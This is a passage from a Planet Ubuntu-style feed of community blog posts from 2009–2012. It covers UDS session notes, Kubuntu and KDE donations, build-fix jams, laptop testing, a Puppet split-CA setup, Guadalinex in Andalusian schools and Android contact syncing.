<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<br /></div>
<div>
-Juan</div>
<br />
<ul style="background-color: white; color: #333333; font-family: Ubuntu, Tahoma, sans-serif; font-size: 13px; line-height: 18px; list-style-image: initial; list-style-position: initial; margin: 0px 0px 9px 25px; padding: 0px;">
</ul>]]></description>
      <source url="http://blog.xtremeghost.com/feeds/posts/default/-/planet">Juan Negron</source>
    </item>
    <item>
      <title>Kubuntu got Donations, KDE needs Donations</title>
      <link>http://werghdf.blogspot.com/2012/09/kubuntu-got-donations-kde-needs.html</link>
      <guid isPermaLink="true">http://werghdf.blogspot.com/2012/09/kubuntu-got-donations-kde-needs.html</guid>
      <pubDate>Fri, 21 Sep 2012 13:31:00 GMT</pubDate>
      <description><![CDATA[<a href="http://www.flickr.com/photos/jriddell/8002726157/" title="DSCF7055 by Jonathan Riddell, on Flickr"><img src="http://farm9.staticflickr.com/8438/8002726157_14ed280f59.jpg" width="500" height="375" alt="DSCF7055"></a>
There we were starting discussions for the <a href="http://uds.ubuntu.com/">Ubuntu Developer Summit</a> at the end of October in Copenhagen and wondering who we could afford to send when I got a nice e-mail asking what it would cost to send everyone who wanted to go.  I replied with a rough budget of what the flights and hotel would be and next thing I know that amount had appeared in my Paypal account.  Now I like to think Kubuntu is a friendly and trusting community but this is generosity beyond my expectations.  I'm constantly amazed with how much people like Kubuntu and how they show it.

<p>Now KDE needs your donation for the annual Randa Sprint of kde-core developers.  It's nearly at the target so let's see if we can push it over the line today!
<a href='http://www.pledgie.com/campaigns/18045'><img alt='Click here to lend your support to: KDE Randa Meetings and make a donation at www.pledgie.com !' src='http://www.pledgie.com/campaigns/18045.png?skin_name=chrome' border='0' /></a>
<!--break-->]]></description>
      <source url="http://werghdf.blogspot.co.uk/feeds/posts/default">Jonathan Riddell</source>
    </item>
    <item>
      <title>UK LoCo Christmas Dinner @ Dans Le Noir</title>
      <link>https://itigloo.com/2011/12/10/uk-loco-christmas-dinner-dans-le-noir/</link>
      <guid isPermaLink="true">https://itigloo.com/2011/12/10/uk-loco-christmas-dinner-dans-le-noir/</guid>
      <pubDate>Sat, 10 Dec 2011 14:36:44 GMT</pubDate>
      <description><![CDATA[<p>Thanks to Alan Bell for organising a wonderful Christmas dinner at Dans Le Noir last night. It was a wonderful venue and the food was amazing. I never realised how dark, dark could really be.</p>
<p>I would recommend this restaurant to anybody.  Also remember, this is the only restaurant  where you can get away with eating with your fingers and licking your plate when you are finished. As it is so dark, who would ever know.</p>
<p>I was however, slightly disappointed that some of the other members of the podcast team couldn&#8217;t come. Maybe to make up for this, they should all be blindfolded while recording the next podcast.  Just a suggestion <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>]]></description>
      <source url="http://itigloo.com/category/planet-ubuntu/feed/atom">Chris Woollard</source>
    </item>
    <item>
      <title>UDS Day 3</title>
      <link>https://gilir.wordpress.com/2011/11/03/uds-day-3/</link>
      <guid isPermaLink="true">https://gilir.wordpress.com/2011/11/03/uds-day-3/</guid>
      <pubDate>Thu, 03 Nov 2011 04:33:54 GMT</pubDate>
      <description><![CDATA[<div>
<p>Today Sessions :</p>
<p dir="ltr">Defect Analyst Bug Review Dashboard</p>
<p><a href="http://summit.ubuntu.com/uds-p/meeting/19483/other-p-bug-dashboard/">http://summit.ubuntu.com/uds-p/meeting/19483/other-p-bug-dashboard/</a></p>
<p><a href="https://blueprints.launchpad.net/ubuntu/+spec/other-p-bug-dashboard">https://blueprints.launchpad.net/ubuntu/+spec/other-p-bug-dashboard</a></p>
<p>This session was to create a way to monitor bugs across several packages and in an efficient way. Currently, most people who want to work on bugs of multiple packages create a team and subscribe all packages to this team. It’s working to get information, but nothing exist to summarize statistics about the bugs (status, severity, in progress &#8230;).</p>
<p>&nbsp;</p>
<p dir="ltr">Ask Ubuntu for the experts</p>
<p><a href="http://summit.ubuntu.com/uds-p/meeting/19717/community-askubuntu-experts/">http://summit.ubuntu.com/uds-p/meeting/19717/community-askubuntu-experts/</a></p>
<p><a href="https://blueprints.launchpad.net/ubuntu/+spec/community-askubuntu-experts">https://blueprints.launchpad.net/ubuntu/+spec/community-askubuntu-experts</a></p>
<p>Presentation of Askubuntu.com, and some advanced features to use it (edit, tag, bounty, votes &#8230;), and possible integration with Loco teams. It still sad that it’s only in English, so not easy to do support, in counties which don’t speak English.</p>
<p>&nbsp;</p>
<p dir="ltr">Calendar Integration</p>
<p><a href="http://summit.ubuntu.com/uds-p/meeting/19450/desktop-p-calendar-integration/">http://summit.ubuntu.com/uds-p/meeting/19450/desktop-p-calendar-integration/</a></p>
<p><a href="https://blueprints.launchpad.net/ubuntu/+spec/desktop-p-calendar-integration">https://blueprints.launchpad.net/ubuntu/+spec/desktop-p-calendar-integration</a></p>
<p>This session was to discuss the use of a calendar application, because with the switch to Thunderbird, there is no calendar in 11.10.</p>
<p>There is different solutions :</p>
<p>&#8211; Adding extension to TB to handle calendar features. But some people express the wish to have no extension by default on TB.</p>
<p>&#8211; Adopting Maya, the calendar application of Elementary OS. But this application is not finished, and it needs help to be functional.</p>
<p>&#8211; Write a new application. But it needs time and resources, + it will probably be dropped once Gnome have it’s own calendar application, or if Maya is finished and works well.</p>
<p>Discussion followed in the Default application session, and probably nothing will happen this cycle to add a calendar solution (unless a drop-in solution is found).</p>
<p>&nbsp;</p>
<p dir="ltr">12.04 LTS (Precise Pangolin) Release Planning</p>
<p><a href="http://summit.ubuntu.com/uds-p/meeting/19548/other-p-release-lts-planning/">http://summit.ubuntu.com/uds-p/meeting/19548/other-p-release-lts-planning/</a></p>
<p><a href="https://blueprints.launchpad.net/ubuntu/+spec/other-p-release-lts-planning">https://blueprints.launchpad.net/ubuntu/+spec/other-p-release-lts-planning</a></p>
<p>This one was about the schedule of the release, the different milestones etc &#8230; It’s a review of the current roadmap, and adjustments of it. For example, the DebianImportFreeze (the date when automatic imports from Debian testing stopped) was moved later in the cycle due to Christmas break. Also, it was confirmed that there will be no RC official images, but a period when images will be declared as “release candidate”.</p>
<p>Also, the status of derivatives was discussed. Finally, something was written about the status of derivatives, how you can achieve this status, what support is provided by Canonical &#8230; It was something always blurry, and we suffer it when Lubuntu tried to be official.</p>
<p>See details on :</p>
<p><a href="https://wiki.ubuntu.com/RecognizedDerivatives">https://wiki.ubuntu.com/RecognizedDerivatives</a></p>
<p>&nbsp;</p>
<p>The plenaries was about ARM technology and patents. There was also the traditional group photos after.</p>
<p>&nbsp;</p>
<p dir="ltr">GNOME Version</p>
<p><a href="https://blueprints.launchpad.net/ubuntu/+spec/desktop-p-gnome-version">https://blueprints.launchpad.net/ubuntu/+spec/desktop-p-gnome-version</a></p>
<p><a href="http://summit.ubuntu.com/uds-p/meeting/19454/desktop-p-gnome-version/">http://summit.ubuntu.com/uds-p/meeting/19454/desktop-p-gnome-version/</a></p>
<p>This session was to discuss which version of GNOME will be shipped, 3.2 (the actual stable one) or 3.4 (the next stable one).</p>
<p>For the 2 main parts of the platform (GTK and glib), the plan is to update them to 3.4. It may have problems with multitouch support which is now included in GTK. It may conflict with Ubuntu multitouch implementation. There was also a discussion about the idea to have some sort of LTS version for GTK (discussion to be continued with GNOME people).</p>
<p>The plan for the rest of the applications is to stay by default on 3.2, and pickup components from 3.4 in some cases. Nautilus (and gvfs), Evolution for example should stay with 3.2, like empathy. For other small applications, it will be discuss case by case.</p>
<p>&nbsp;</p>
<p dir="ltr">Default Apps Discussion</p>
<p><a href="https://blueprints.launchpad.net/ubuntu/+spec/desktop-p-default-apps">https://blueprints.launchpad.net/ubuntu/+spec/desktop-p-default-apps</a></p>
<p><a href="http://summit.ubuntu.com/uds-p/meeting/19442/desktop-p-default-apps/">http://summit.ubuntu.com/uds-p/meeting/19442/desktop-p-default-apps/</a></p>
<p>This is the usual session to discuss applications by default. Many topics was discussed :</p>
<p>&#8211; Inclusion of Boot-repair in the Live-CD : probably yes if there is no stopper.</p>
<p>&#8211; Inclusion of FreeRDP : to be check with security.</p>
<p>&#8211; Video editor : No (not needed by default)</p>
<p>&#8211; Rhythmbox / Banshee :</p>
<p>This subject was a bit of surprise for me, I didn’t expect such discussion will happen. However, the 2 applications have problems :</p>
<p>&#8211; Banshee : Problem on ARM (doesn’t work), no GTK3 support, and removing Banshee will remove Mono from the CD (good for the space) and probably from main (which make Security team happy, not having to maintain Mono stack for 5 years)</p>
<p>&#8211; RB : U1 store need to be updated, Music lense needs to be updated, it needs a release from upstream.</p>
<p>A quick vote on usage of both applications in the room makes approximately a 50 / 50 result (maybe a bit more for RB).</p>
<p>Conclusion, RB will probably be back on the CD, if no problem is raised by the other teams not present during the session. The decision was not easy, but IMO it makes sense in the context of an LTS. And, well, Banshee will still be available in the archive, will at least the same level of integration than in 11.10.</p>
</div>]]></description>
      <source url="https://gilir.wordpress.com/tag/planet-ubuntu/feed/atom/">Julien Lavergne</source>
    </item>
    <item>
      <title>FlossManuals/Google Documentation Summit</title>
      <link>https://dindafoss.wordpress.com/2011/10/18/flossmanualsgoogle-documentation-summit/</link>
      <guid isPermaLink="true">https://dindafoss.wordpress.com/2011/10/18/flossmanualsgoogle-documentation-summit/</guid>
      <pubDate>Tue, 18 Oct 2011 13:45:26 GMT</pubDate>
      <description><![CDATA[<p>I&#8217;m fortunate to be included in the group attending the Floss Manuals &amp; Google hosted event Documentation Summit.  Four really worthwhile and interesting projects were chosen and several freelancers (like myself) are also helping out.  The format is part unconference and part book sprint.  The goals are promote dialog among the various FOSS folks as well as produce a book about each project in three days.  Pretty ambitious!</p>
<p>Dialog is easy, there is never a lack of ideas and suggestions.  The projects include KDE, OpenStreet Map, Sahana and OpenMRS.  Sahana is an emergency relief and disaster planning project and OpenMRS is a Medical Records System for developing areas.  These were the two projects I knew the least about coming into the event but both have greatly impressed me with their scope and team members.  </p>
<p>The books will be available for download by this weekend so I&#8217;ll update everyone on where to find them.  Also, if you&#8217;re a developer looking to scratch an itch and help folks, one of these projects might be for you!  If you&#8217;re a System Admin or make recommendations to organizations who might need a great OpenMRS or disaster planning software, we&#8217;ll have a book for you at the end of the week.</p>
<p>Follow the event on twitter #docsummit #flossmanuals</p>]]></description>
      <source url="https://dindafoss.wordpress.com/category/ubuntu/feed/?mrss=off">Belinda Lopez</source>
    </item>
    <item>
      <title>Ubuntu Global Jam Oneiric</title>
      <link>http://tumbleweed.org.za/2011/09/05/ubuntu-global-jam-oneiric</link>
      <guid isPermaLink="true">http://tumbleweed.org.za/2011/09/05/ubuntu-global-jam-oneiric</guid>
      <pubDate>Mon, 05 Sep 2011 17:22:04 GMT</pubDate>
      <description><![CDATA[<p>We had quite a successful <a href="http://loco.ubuntu.com/events/ubuntu-za/1169/detail/">Ubuntu Global Jam</a> on Saturday. Thanks <a href="http://www.yola.com/">Yola</a> for hosting us. It was only 5 of us, and I was the only one with any uploads under my belt, but the nice small team meant I had time to help everyone fix some build failures. We had intended to focus on Scientific packages, but it was easier to just pick arbitrary build failures from the most recent <a href="http://people.ubuntuwire.org/~wgrant/rebuild-ftbfs-test/test-rebuild-20110816-oneiric.html">archive rebuild</a>.</p>

<p>Maia <a href="http://my-ubuntu-day.blogspot.com/2011/09/oneiric-global-jam-in-cape-town.html">visited us briefly at lunch time</a> and took some photos, thanks :) Sorry you couldn&#8217;t stay longer.</p>

<h1>Some stats from the jam</h1>

<p>Examples that we fixed together:</p>

<ul>
<li><a href="https://launchpad.net/ubuntu/oneiric/+source/libmatio/1.3.4-3">sync libmatio to fix <span class="caps">FTBFS</span></a></li>
<li><a href="https://bugs.launchpad.net/bugs/832806">fix <span class="caps">FTBFS</span> in pidgin-twitter</a></li>
</ul>

<p><a href="https://launchpad.net/~dappermuis">Kyle Williams</a>:</p>

<ul>
<li><a href="https://bugs.launchpad.net/bugs/840385">sync kcollectd to fix <span class="caps">FTBFS</span></a></li>
<li><a href="https://bugs.launchpad.net/bugs/840523">sync k9copy to fix <span class="caps">FTBFS</span></a></li>
<li><a href="https://bugs.launchpad.net/bugs/831105">fix kx11grab <span class="caps">FTBFS</span></a></li>
<li><a href="https://bugs.launchpad.net/bugs/770860">fix kon2 <span class="caps">FTBFS</span></a></li>
</ul>

<p><a href="https://launchpad.net/~marco-gallotta">Marco Gallotta</a>:</p>

<ul>
<li><a href="https://bugs.launchpad.net/bugs/835752">fix pysatellites <span class="caps">FTBFS</span></a></li>
<li><a href="https://bugs.launchpad.net/bugs/771103">fix ratpoison <span class="caps">FTBFS</span></a></li>
</ul>

<p><a href="https://launchpad.net/~michielbaird">Michiel Baird</a>:</p>

<ul>
<li><a href="https://bugs.launchpad.net/bugs/840338">Sync camlimages to fix advi <span class="caps">FTBFS</span></a></li>
<li><a href="https://bugs.launchpad.net/bugs/840400">Sync libsdl-sound1.2 to fix asc <span class="caps">FTBFS</span></a></li>
</ul>

<p>I think that&#8217;s pretty good for a day&#8217;s work :P</p>

<h1>In other news</h1>

<p>Eep, haven&#8217;t blogged an ages. Since I last blogged, I&#8217;ve become a <a href="http://qa.debian.org/developer.php?login=stefanor">Debian Developer</a>, made an <a href="http://launchpad.net/ibid">Ibid</a> point release, been to (my first) <a href="http://summit.ubuntu.com/uds-o/"><span class="caps">UDS</span></a> and a <a href="http://debconf11.debconf.org/">Debconf</a> (which were both fantastic, and very different), spent a week sailing in Croatia with my brother, and been pulled into the Ubuntu release team. All this has meant little progress in my MSc, though :/</p>]]></description>
      <source url="http://tumbleweed.org.za/tags/ubuntu/feed">Stefano Rivera</source>
    </item>
    <item>
      <title>The sooner the better.</title>
      <link>https://primes2h.wordpress.com/2011/06/06/the-sooner-the-better/</link>
      <guid isPermaLink="true">https://primes2h.wordpress.com/2011/06/06/the-sooner-the-better/</guid>
      <pubDate>Mon, 06 Jun 2011 10:32:19 GMT</pubDate>
      <description><![CDATA[<p>Hi everybody!</p>
<p><strong>Oneiric Alpha 1 is out and ready to be tested in your laptop.</strong></p>
<p><img data-attachment-id="260" data-permalink="https://primes2h.wordpress.com/2011/03/25/lets-test-your-laptop-now/flask192x192/" data-orig-file="https://primes2h.wordpress.com/wp-content/uploads/2011/03/flask192x192.png" data-orig-size="192,192" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="flask192x192" data-image-description="" data-image-caption="" data-large-file="https://primes2h.wordpress.com/wp-content/uploads/2011/03/flask192x192.png?w=192" class="alignleft size-full wp-image-260" title="flask192x192" src="https://primes2h.wordpress.com/wp-content/uploads/2011/03/flask192x192.png?w=490" alt=""   srcset="https://primes2h.wordpress.com/wp-content/uploads/2011/03/flask192x192.png 192w, https://primes2h.wordpress.com/wp-content/uploads/2011/03/flask192x192.png?w=150&amp;h=150 150w" sizes="(max-width: 192px) 100vw, 192px" />If you want to be sure your graphic/audio card, touchpad or whatever work when Oneiric will be released on October 13th join us in the Laptop Testing Project.<br />
You can discover every early bug to allow developers enough time to fix those bugs in time for the Official Release.</p>
<p>The procedures for testing images and reporting results are<br />
explained on <a href="https://wiki.ubuntu.com/Testing/Laptop/Procedures">https://wiki.ubuntu.com/Testing/Laptop/Procedures</a></p>
<p>Test results will be tracked on <a href="http://laptop.qa.ubuntu.com/">http://laptop.qa.ubuntu.com/</a></p>
<p>Bugs have to be reported in the Ubuntu bug tracker (see <a href="https://help.ubuntu.com/community/ReportingBugs">https://help.ubuntu.com/community/ReportingBugs</a>)</p>
<p>If you are new to this please register on the tracker, one account per laptop you own.<br />
Remember that you don&#8217;t have to if you already tested a laptop last cycle or have an account for ISO testing.</p>
<p>Please let us know if you have any questions, in <a href="http://webchat.freenode.net/?channels=ubuntu-testing">#ubuntu-testing</a> IRC channel on the Freenode network or joining the QA mailing list at <a href="https://lists.ubuntu.com/mailman/listinfo/ubuntu-qa">https://lists.ubuntu.com/mailman/listinfo/ubuntu-qa</a></p>
<p>Good testing!</p>]]></description>
      <source url="https://primes2h.wordpress.com/category/ubuntu/feed/?mrss=off">Sergio Zanchetta</source>
    </item>
    <item>
      <title>Ubuntu Power Users: first meeting</title>
      <link>https://ubuntumug.wordpress.com/2011/05/27/ubuntu-power-users-first-meeting/</link>
      <guid isPermaLink="true">https://ubuntumug.wordpress.com/2011/05/27/ubuntu-power-users-first-meeting/</guid>
      <pubDate>Fri, 27 May 2011 13:18:16 GMT</pubDate>
      <description><![CDATA[<p>The Ubuntu Power Users Community had a <a title="Ubuntu Power Users Meeting (20110526)" href="https://wiki.ubuntu.com/PowerUsers/Meeting/20110526">meeting</a> on Thursday, May 26, 2011 at 17:00 UTC in the #ubuntu-meeting channel. This was the first meeting of this new community, and we had many things on our agenda: the organization of the team, the team logo/branding, the overall team goals and purpose, our long term goals and the goals for the Oneiric cycle. Although we discussed many topics, we didn&#8217;t manage to talk about everything we originally planned.<br />
<span id="more-19"></span><br />
We started the discussion with stating our team vision. Our goal is to help power users to get the most out of Ubuntu. We want to provide a place for power users to communicate, document configuration functionality, and provide tools for tweaking the system. Basically, we want to give users the power to expand, adjust, and tweak their system. To achieve these goals we want to create documentation of tweaks and useful tools, with a mind toward safety. We don&#8217;t want to suggest tweaks that could cause issues for a user and can not be backed out of.</p>
<p>We talked about what actions can be done in this cycle. A very important part of our mission is to build the <a title="Building The Kitchen Sink" href="http://www.jonobacon.org/2011/05/19/building-the-kitchen-sink/">Kitchen Sink</a>: a single application that supports multiple plug-in that provides you with a plethora of check-boxes for switching on and off all kinds of different things. This application will most probably be the well known <a title="Ubuntu Tweak" href="http://ubuntu-tweak.com/">Ubuntu Tweak</a>. The developer of Ubuntu Tweak, Tualatrix Chou has already joined our mailing list.</p>
<p>The Ubuntu Power User Community will focus on making Ubuntu Tweak ready for Oneiric, and push it into the repositories. The next version of Ubuntu Tweak will have a plugin feature, so the problematic PPA part of the program can be a separate install in the next version. First, we need to focus on getting the code in shape. According to Jordan Mantha (LaserJock), it needs some analysis for safety and stability. A plugin for Unity specific settings has to be made. The packaging will fall into place pretty easily once these are done.</p>
<p>An important part of our mission is creating documentation for Unity about topics like keyboard shortcuts, what options exist in CompizConfig Settings Manager and dconf-editor, and what they actually do. We already have a lot of information on <a title="Ask Ubuntu" href="http://askubuntu.com">Ask Ubuntu</a>, so it can serve as a good starting point. The main problem is that Ask Ubuntu is not a documentation source. Our goal is to create high quality documentation for Power Users based on the information available on Ask Ubuntu and from other sources.</p>
<p>The first meeting of the Ubuntu Power User Community was a very important milestone in the life of the project. We set some ambitious but not unreachable goals for us. If you want to get involved in the Power User Community just subscribe to the <a title="ubuntu-power-users" href="https://lists.ubuntu.com/mailman/listinfo/ubuntu-power-users">mailing list</a> list or join the <a title="Ubuntu Power Users" href="http://webchat.freenode.net/?channels=ubuntu-power-users">#ubuntu-power-users</a> IRC channel on Freenode. There is a plenty of room for you to share your power with others.</p>]]></description>
      <source url="https://ubuntumug.wordpress.com/category/planet-ubuntu/feed/?mrss=off">László Torma</source>
    </item>
    <item>
      <title>xexit reaches 1.0.  Thanks Juha</title>
      <link>http://ltspthinclient.blogspot.com/2011/03/xexit-reaches-10-thanks-juha.html</link>
      <guid isPermaLink="true">http://ltspthinclient.blogspot.com/2011/03/xexit-reaches-10-thanks-juha.html</guid>
      <pubDate>Tue, 29 Mar 2011 17:16:00 GMT</pubDate>
      <description><![CDATA[Thanks to a <a href="http://www.opinsys.fi/en/killing-user-processes-with-xexit-on-ltsp-servers">nice article</a> by Juha, I put in some polishing on xexit, my solution to rotten processes that just don't know when to quit on LTSP servers.<br /><br />I've included a (slightly modified) version of Juha's script (and, of course, added him to the AUTHORS file), got a proper manpage for it, and done some packaging.<br /><br />Certain members of <a href="http://www.propus.com.br/">the Brazillian hyper-geniuses</a> have indicated it may be possible to get someone to sponsor it for Debian.<br /><br />In the meantime, users looking to try it can check my <a href="https://launchpad.net/~sbalneav/+archive/ppa">ppa</a>, and grab the 1.0 version there.  Note that the xexit scripts you need will be in the /usr/share/docs/xexit directory, and should be copied to /etc/Xexit.d.  I don't install them there by default, as they're Gnome specific, and I don't wish to aggrivate (by default) users of other <a href="http://www.kde.org">fine</a> <a href="http://www.lxde.org">desktops</a>.]]></description>
      <source url="http://ltspthinclient.blogspot.com/atom.xml">Scott Balneaves</source>
    </item>
    <item>
      <title>Overview of a Puppet Split CA architecture</title>
      <link>http://blog.mathiaz.net/2010/10/overview-of-puppet-split-ca.html</link>
      <guid isPermaLink="true">http://blog.mathiaz.net/2010/10/overview-of-puppet-split-ca.html</guid>
      <pubDate>Wed, 06 Oct 2010 17:49:00 GMT</pubDate>
      <description><![CDATA[<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeMPBSf22ixR04Y4fu6_DrhVLHzxAlw3k7MqA8VZEmvusX4u062zcTPSY7kg1ZsUNkTV9eSSoq3esNQJUP7onsh7pyz4loq_DMZPgJ_5MHWrp281a7i5EHdZgG_-fCUcaVNYqd1NGcI3Z7/s1600/overview.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeMPBSf22ixR04Y4fu6_DrhVLHzxAlw3k7MqA8VZEmvusX4u062zcTPSY7kg1ZsUNkTV9eSSoq3esNQJUP7onsh7pyz4loq_DMZPgJ_5MHWrp281a7i5EHdZgG_-fCUcaVNYqd1NGcI3Z7/s1600/overview.png" /></a></div><br />
The Puppet Master CA is the only Certificate Authority (CA) in the whole infrastructure. It issues certificates for all Puppet agents. It also manages the Puppet Master systems.<br />
<br />
The Puppet Masters are only responsible for compiling catalogs requested by Puppet Agents - they don't act as CA themselves. They only accept Puppet Agents which certificates have been issued by the Puppet Master CA.<br />
<br />
The Puppet Agent retrieves their certificates from the Puppet Master CA the first time they run. They connect to the Puppet Masters afterwards to get their catalogs. They won't contact the Puppet Master CA anymore.<br />
<h3>Puppet Master CA</h3><br />
The Puppet Master CA manages all Puppet Masters. In particular it distributes its own Certificate Revocation List (CRL) file to every Puppet Master. The Puppet Master CA also issues certificates to Puppet Agents.<br />
<h3>Puppet Master</h3><br />
A Puppet Master runs under Apache and Passenger. Apache ssl module is configured to <b>require</b> certificates signed by the Puppet Master CA (<i>/etc/apache2/site-available/puppetmaster</i>):<br />
<pre># Require certificates to be valid
SSLVerifyClient require
SSLVerifyDepth&nbsp; 1</pre><br />
The Puppet Master is also configured to not act as a Puppet CA (<i>/etc/puppet/puppet.conf</i>):<br />
<pre>[main]
ca = false</pre><br />
<h3>Puppet Agent</h3><br />
Puppet Agents retrieve their certificate from the Puppet Master CA and request their catalog from one of the Puppet Masters (<i>/etc/puppet/puppet.conf</i>):<br />
<pre>[agent]
ca_server = PUPPET_MASTER_CA
server = PUPPET_MASTER</pre><br />
<h3>Conclusion</h3><br />
From a security perspective setting the <i>SSLVerifyClient</i> option to <b>require</b> increases the protection of Puppet Masters from unknown requests and revoked Puppet Agents. Having the Puppet Master CA manage the Puppet Masters also facilitates the distribution of the Puppet Master CA CRL.<br />
<br />
On the reliability front new systems won't be added to the infrastructure if the Puppet Master CA is unavailable. However existing Puppet Agents are still functional as long as they can connect to a Puppet Master.]]></description>
      <source url="http://blog.mathiaz.net/feeds/posts/default/-/ubuntu">Mathias Gug</source>
    </item>
    <item>
      <title>Microsoft takes off the mask</title>
      <link>https://antoniosanchez.wordpress.com/2010/05/04/microsoft-takes-off-the-mask/</link>
      <guid isPermaLink="true">https://antoniosanchez.wordpress.com/2010/05/04/microsoft-takes-off-the-mask/</guid>
      <pubDate>Tue, 04 May 2010 19:28:01 GMT</pubDate>
      <description><![CDATA[<p>Recently the General Director for Education of <a title="La escuela andaluza usa un software que abandonamos hace diez años" href="http://www.elcorreoweb.es/andalucia/092563/escuela/andaluza/software/abandonamos/diez/anos" target="_blank">Microsoft took off his mask</a> arguing in a interview that here, in Andalusia, we are using software that Microsoft left ten years ago.</p>
<p>Here in Andalusia, at the south of Spain, every computer (400.000+) at the schools runs «software libre» thanks to the commitment made by the regional government 7 years ago. Specifically, we run Guadalinex Edu, a base of Ubuntu with a lot of free educational applications in the top.</p>
<p>During the interview you can read in spanish somethings like these:</p>
<ul>
<li><strong>Journalist</strong>: «Andalusia has introduced free software in schools and has left out Microsoft &#8230;»</li>
<li><strong>Microsoft</strong>: «There are few communities that have implemented only free software, Andalusia is one. Free software is not sustainable by the model itself. We invest 9500 million annually in research and development and the results are the products we put on the market. We know what it takes to make an operating system and it&#8217;s a lot of money. The software is free of charge but who is paying this price? Because we have to pay someone to operate and maintain, and these costs are more expensive than ours. This is obvious because there are other interests behind. Free software is built with subsidies and you can&#8217;t do subsidies to be the engine that supports a model of technological innovation in the school.»</li>
<li><strong>Journalist</strong>: «Guadalinex is similar  enough to Windows, right?»</li>
<li><strong>Microsoft</strong>: «Well, if  you look in Windows 7, it does not  look like Guadalinex at all. Sometimes, we make the mistake of comparing the latest versions of  these operating systems with Microsoft products launched back in 2000. You say that the  software used by schools in Andalusia is similar to XP, fine, but  Windows XP is that it launched a decade ago. We left it 10 years ago and the world has changed. And if you keep  Windows XP is due to a poor idea: Is it enough with what I have? Depends on the  needs and if you want to give our kids the best or not.»</li>
</ul>
<p>With the new version of Guadalinex Edu based on Ubuntu Lucid Lynx our students and teachers can:</p>
<ul>
<li> interact with each other thanks to <a title="Guadalinex Edu collaboration tool (codename sigala)" href="https://launchpad.net/guadalinexedu-collaboration-tool" target="_blank">new collaboration tool</a> in a simple  way.</li>
<li>install a lot of software previously tested doing a single click  through the software center.</li>
<li>make a backup of all their personal files in a usb stick and recover it later doing a single  click.</li>
</ul>
<p>all of then installed and ready for use in less than 30 minutes through the network or usb device.</p>
<p>Furthermore, every people of the educational community can obtain professional support by phone for free of charge through the <a title="CGA" href="http://www.juntadeandalucia.es/averroes/cga/" target="_blank">Advanced Center for ICT Schools Management</a> who is in charge of the maintenance of the whole network. How many of these services offer Microsoft?</p>
<p>I would like to recommend this person of Microsoft to have a look at the new version  of <a title="guadalinexedu.org" href="http://www.guadalinexedu.org/" target="_blank">Guadalinex Edu</a> (available in few days) and then ask him what do they think is the best for  kids? Perhaps  motivation, enthusiasm and hard work of the entire free software  community can exceed 9.5 billion invested by Microsoft. Don&#8217;t worry about kids, you must be worried about <a title="Ubuntu bug #1" href="https://bugs.launchpad.net/ubuntu/+bug/1" target="_blank">the day</a> when these children reach the professional market and the quality and freedom of the free software used at schools will have more weight than all the investment you are doing in your proprietary software.</p>
<p>:wq</p>]]></description>
      <source url="http://antoniosanchez.wordpress.com/category/planet-ubuntu/feed/atom">Antonio Sánchez</source>
    </item>
    <item>
      <title>Webling und Android</title>
      <link>http://blog.diener.li/allgemein/webling-und-android/</link>
      <guid isPermaLink="true">http://blog.diener.li/allgemein/webling-und-android/</guid>
      <pubDate>Mon, 09 Nov 2009 14:27:34 GMT</pubDate>
      <description><![CDATA[<p>Ja ich habe seit Kurzem auch so einen kleinen Alleskönner als Handy. Auch wenn ich meinen <a title="Openmoko Freerunner" href="http://wiki.openmoko.org/wiki/Neo_FreeRunner/de" target="_blank">Freerunner</a> sehr mag, auf mein neues Spielzeug ist einfach mehr Verlass. Da mein altes Handy einem Wasserschaden (kein Kommentar) zum Opfer fiel, besorgte ich mir ein <a title="HTC Hero" href="http://www.htc.com/de/product.aspx" target="_blank">HTC Hero</a> mit <a title="Google Android" href="http://www.google.ch/intl/de_ch/mobile/android/" target="_blank">Google Android</a>. Ein <a title="Apple iPhone" href="http://www.apple.com/de/iphone/" target="_blank">iPhone</a> wollte ich nicht und ich bereue es bis heute nicht. Mein kleiner Held ist nicht nur die Hälfte so teuer, sondern bringt auch alles mit was ich brauche.</p>
<p>Nun aber zum Wesentlichen. Etwas vom dümmsten an Handys war bislang die Portierung der Kontakte auf das neue Gerät. Umso erfreuter war ich, dass es dieses Mal sehr einfach ging. Da Android nun mal von Google kommt, unterstützt es natürlich auch Synchronisation mit dem Kalender, den Mails und den Kontakten von Google. Wenn man mal die Bedenken bezüglich der &#8222;Datenkrake&#8220; Google aussen vor lässt und sich auf die funktionellen Fakten bezieht, dann ist das mehr als nur optimal. Angenommen man benutzt bereits die genannten Google Dienste bereits, muss man auf dem Android lediglich seine Kontodaten angeben und alles regelt sich von selbst.</p>
<p>Wie einige von euch wahrscheinlich wissen, bin ich Teilhaber von <a title="uSystems GmbH" href="http://www.usystems.ch/" target="_blank">uSystems GmbH</a>, die unter anderem eine <a title="webling.ch - verwaltet deinen Verein" href="http://www.webling.ch" target="_blank">Vereinsverwaltungssoftware</a> entwickelt. Die nennt sich Webling und kann eigentlich viel mehr, aber in diesem Beispiel brauche ich sie nur als Adressverwaltung. Denn seit einiger Zeit habe ich mir eine persönliche Instanz davon unter den Nagel gerissen und brauche es um die Kontaktdaten meiner Freunde zu verwalten. So habe ich einen zentralen Ort, wo ich von überall darauf Zugriff habe. Warum ich das erwähne? Nun Webling kann Daten nicht nur Importieren, sondern auch in diversen Formaten exportieren. Hier zeigt sich wieder mal, dass gewisse simple und bereits recht alte Standards auch heute noch immer super sind. Denn Webling bietet unter anderem die Möglichkeit in eine <a title="CSV Dateiformat auf Wikipedia DE" href="http://de.wikipedia.org/wiki/CSV_%28Dateiformat%29" target="_blank">CSV-Datei</a> zu exportieren und Google wiederum diese zu importieren. Und da die Google Kontakte ja mit meinem Handy 